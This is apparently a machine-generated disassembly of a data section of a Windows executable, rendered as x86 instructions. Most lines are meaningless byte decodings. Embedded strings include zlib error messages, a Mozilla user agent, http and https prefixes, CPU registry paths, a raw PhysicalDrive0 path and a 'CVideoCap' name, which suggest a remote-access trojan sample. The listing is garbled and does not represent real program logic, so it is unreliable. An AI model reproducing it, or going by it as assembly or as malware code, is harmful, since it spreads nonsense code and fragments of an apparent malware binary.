and byte [0xa0d2073], ah
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
or al, byte [eax]
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
inc ebp
pop eax
push eax
inc ecx
dec esi
inc esp
pop edi
push ebx
pop edx
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
push ebx
pop edx
add byte [eax], al
pop ebx
and eax, 0xa0d5d73
add byte [eax], al
and eax, 0x5c000064
pop esp
arpl word [ebp + 0x64], bp
js 0x418a11
add byte [eax], al
add byte [eax], al
inc ecx
inc edx
inc ebx
inc esp
inc ebp
inc esi
inc edi
dec eax
dec ecx
dec edx
dec ebx
dec esp
dec ebp
dec esi
dec edi
push eax
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
pop eax
pop ecx
pop edx
popal
bound esp, qword [ebx + 0x64]
push 0x6a69
imul ebp, dword [ebp + ebp*2 + 0x6e], 0x6f
jo 0x418a4c
jb 0x418a50
je 0x418a54
jbe 0x418a58
js 0x418a5c
jp 0x418a15
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
sub ebp, dword [edi]
add byte [eax], al
add byte [eax], al
inc ecx
inc ecx
inc ecx
inc ecx
add byte [eax], al
add byte [eax], al
dec ebp
outsd dx, dword [esi]
jp 0x418a69
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x418a6f
je 0x418a79
bound ebp, qword [ebp + 0x29]
add byte [eax], al
add byte [eax], al
push 0x73707474
cmp ch, byte [edi]
insb byte es:[edi], dx
sub dword gs:[eax], eax
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x418a8f
invalid
jae 0x418a58
das
das
add byte [eax], al
add byte [eax], al
jle 0x418a73
dec eax
jp 0x418a29
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x418ab7
je 0x418aab
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x418abf
jb 0x418aaf
popal
insb byte es:[edi], dx
push eax
jb 0x418ac1
arpl word [ebp + 0x73], sp
jae 0x418ac6
jae 0x418ac9
jae 0x418ac9
outsd dx, dword [esi]
jb 0x418ab5
pop esp
xor byte [eax], al
add byte [0x5c000075], ah
pop esp
and eax, 0x5c000075
pop esp
pop esp
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
arpl word [ecx + 0x6c], sp
inc esp
jb 0x418ad8
jbe 0x418ad6
xor byte [eax], al
add byte [edx + 0x5a], bl
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
add byte [eax], al
and eax, 0x25eccc73
invalid
jae 0x418a53
mov eax, dword [0xb1ca]
push edi
push edi
push edi
push edi
push edi
push edi
add byte [eax], al
push esi
push esi
push esi
push esi
push esi
push esi
add byte [eax], al
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
add byte [eax], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
pop esp
push ebp
push ebp
push eax
push eax
and byte [0x77000064], ah
ja 0x418b1b
outsb dx, byte [esi]
jae 0x418b29
popal
xor byte [eax], al
add byte [edi + 0x69], dh
ja 0x418b1b
outsb dx, byte [esi]
jae 0x418b29
popal
xor byte [eax], al
add byte [ecx + 0x41], al
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
add byte [eax], al
js 0x418b33
add byte [ebp + 0x78], ah
js 0x418b33
insb byte es:[edi], dx
js 0x418b33
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x418b2c
jb 0x418af7
jb 0x418af7
js 0x418b31
add byte [eax], al
add byte [eax], al
push edi
imul ebp, dword [esi + 0x6c], 0x6e6f676f
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebx
push esi
imul esp, dword [ebp + 0x6f], 0x706143
add byte [eax], al
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ecx], dh
xor dword [esi], ebp
xor dword [esi], ebp
xor al, 0
add byte [eax], al
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
add byte [esi + 0x65], ch
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
je 0x418b6b
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
jb 0x418b80
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x64], si
popal
je 0x418b77
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
add byte [eax], al
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x68], si
popal
and byte [eax + 0x65], ch
popal
jb 0x418b51
and byte [ebx + 0x68], ah
arpl word [eax + 0x65], bp
arpl word [ebx], bp
arpl word gs:[ebx], bp
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x418b9d
insb byte es:[edi], dx
imul esp, dword [eax + 0x77], 0x6f646e69
ja 0x418b67
jae 0x418bb2
jp 0x418bb0
add byte [ebp + 0x6e], dh
jne 0x418bbc
imul ebp, dword [esi + 0x6f], 0x77
outsb dx, byte [esi]
ja 0x418bc1
and byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x418bcb
jae 0x418bcf
imul ebp, dword [edi + 0x6e], 0x74656d20
push 0x646f
invalid
add al, dh
mov al, byte [ecx]
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [edx + 0x69], ah
je 0x418b98
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x418bd1
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6c207469
bound ebp, qword [ecx + 0x74]
and byte [ebp + 0x6e], ch
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x418be6
and byte [edx + 0x65], dh
jo 0x418be8
jo 0x418be8
popal
je 0x418b86
add byte [eax], al
je 0x418bf9
outsd dx, dword [esi]
and byte [ebp + 0x61], ch
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
jns 0x418bb1
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x418bff
and byte [edi + 0x72], ch
and byte [ecx + ebp*2 + 0x73], ah
je 0x418c01
outsd dx, dword [esi]
jb 0x418bbb
imul esi, dword fs:[ebx + 0x74], 0x65636e61
and byte [ebx + 0x79], dh
jae 0x418c13
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
jae 0x418c1f
insd dword es:[edi], dx
bound ebp, qword [edi + 0x6c]
jae str.invalid_stored_block_lengths
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
insb byte es:[edi], dx
imul esp, dword [eax + 0x73], 0x65726f74
and byte fs:[ebx + 0x74], dh
outsd dx, dword [esi]
jb 0x418c1e
and byte fs:[edx + 0x6c], ah
outsd dx, dword [esi]
arpl word [ebx + 0x20], bp
bound ebp, qword [edi + ebp*2 + 0x63]
imul esp, dword [eax], 0x6c
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x418c2f
jae 0x418bc9
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x418c31
popal
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6b636f6c
and byte [ecx + edi*2 + 0x70], dh
add byte gs:[eax], al
clc
mov al, byte [ecx]
insb byte es:[edi], dx
mov word [ecx], es
inc ecx
add byte [eax - 0x5e], ah
inc ecx
add byte [eax - 0x74], ah
pushal
mov byte [0x8c600041], al
inc ecx
add byte [eax - 0x74], dl
inc ecx
add byte [esp + ecx*4 + 0x41], al
add byte [eax], dh
mov word [ecx], es
and byte [ecx + eax*2 + 0x418c0800], cl
add byte [eax - 0x5e], ah
inc ecx
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
add byte [eax], cl
mov word [ecx], es
pushal
mov byte [0x6e690041], al
invalid
outsb dx, byte [esi]
arpl word [edi + 0x6d], bp
jo 0x418c70
je 0x418c7a
bound ebp, qword [ebp + 0x20]
jbe 0x418c7c
and byte gs:[esi + 0x65], dh
jb 0x418c8c
imul ebp, dword [edi + 0x6e], 0
add byte [eax], al
add byte [edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x418c47
bound esi, qword [ebp + 0x66]
jb 0x418c47
jb 0x418c9c
outsd dx, dword [esi]
jb 0x418c2d
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jae 0x418ca9
imul sp, word [ebx + 0x69], 0x6e65
je 0x418c5d
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jb str.invalid_distance_code
add byte [ecx + 0x74], ah
popal
invalid
popal
and byte [ebp + 0x72], ah
jb str.invalid_distance_code
jb 0x418c4f
add byte [ebx + 0x74], dh
jae 0x418cc6
jb 0x418cb9
popal
insd dword es:[edi], dx
and byte [ebp + 0x72], ah
jb 0x418cca
jb 0x418c5d
add byte [eax], al
add byte [esi + 0x69], ah
imul bp, word [ebp + 0x20], 0x7265
jb 0x418cd8
jb 0x418c6b
add byte [ebx + 0x74], dh
jae 0x418ce2
jb 0x418cd5
popal
insd dword es:[edi], dx
and byte [ebp + 0x6e], ah
add byte fs:[eax], al
xor byte [eax + 0x41], cl
inc ecx
add ah, ah
inc esi
in al, 0x46
inc ecx
add byte [ecx], al
add dword [eax], eax
add byte [esi], bl
add dword [eax], eax
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x5800414c], dh
inc edi
add byte [eax], al
add byte [eax], al
mov al, 0x4c
inc ecx
add byte [eax + 0x47], bl
inc ecx
add byte [eax], al
add byte [eax], al
add byte [esi], bl
push ds
add byte [eax], al
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, dl
inc edi
inc ecx
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
add byte [eax], al
add byte [edi], al
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x418d21
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ecx + ebp*2 + 0x73], ah
je 0x418d2a
insb byte es:[edi], dx
imul esp, dword [eax + 0x64], 0x61747369
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
arpl word [edi + 0x64], bp
add byte gs:[eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jbe 0x418d39
insb byte es:[edi], dx
imul esp, dword [eax + 0x6c], 0x72657469
popal
insb byte es:[edi], dx
das
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x418d52
and byte [ebx + 0x6f], ah
add byte gs:[ecx], cl
add byte [eax], al
add byte [0x60000000], al
pop es
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax + ecx], dl
add byte [ebx], dh
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 0
add byte [eax + 7], dl
pop es
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], ah
add byte [eax], al
mov al, byte [pe_dos_header]
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
loopne 0x418d76
add byte [eax], al
push eax
pop es
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
nop
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
js 0x418da6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 1
add byte [eax], al
push ecx
pop es
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
or byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], dh
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], cl
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
lock add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], dl
add byte [eax], al
push ebp
or byte [eax], al
add bl, ah
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
sub eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
je 0x418e26
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
enter 0, 0
push ecx
pop es
add byte [eax], al
or eax, 0
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
test al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
test byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
inc esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, ch
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cwde
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jl 0x418ea6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
fadd dword [eax]
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ss
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov eax, 0
or byte [eax], al
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov word [eax], es
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, bh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push edx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
mov dword [0x53000000], eax
pop es
add byte [eax], al
and eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jb 0x418f26
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
les eax, [eax]
add byte [eax], al
push ecx
pop es
add byte [eax], al
or eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
bound eax, qword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, 0
add byte [eax], al
push eax
pop es
add byte [eax], al
pop es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
xchg esp, eax
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jp 0x418fa6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
aam 0
add byte [eax], al
push edx
pop es
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sub al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov ah, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec edx
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add ah, dh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, 0
or byte [eax], al
add byte [esi], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ss
add byte [eax], al
add al, al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jbe 0x419026
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, cl
add byte [eax], al
add byte [ecx + 7], dl
add byte [eax], al
sldt word [eax]
add byte [eax], al
or byte [eax], al
add byte [esi], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], ch
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], al
or byte [eax], al
add byte [esi], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, dx
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esi
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], bl
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x7540000], bl
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jle 0x4190a6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ds:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, bl
add byte [eax], al
add byte [edx + 7], dl
add byte [eax], al
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], bh
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], cl
or byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cld
add byte [eax], al
add byte [eax + 7], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
add dword [eax], 0
add byte [edx + 7], dl
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor dword [eax], eax
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
ret 0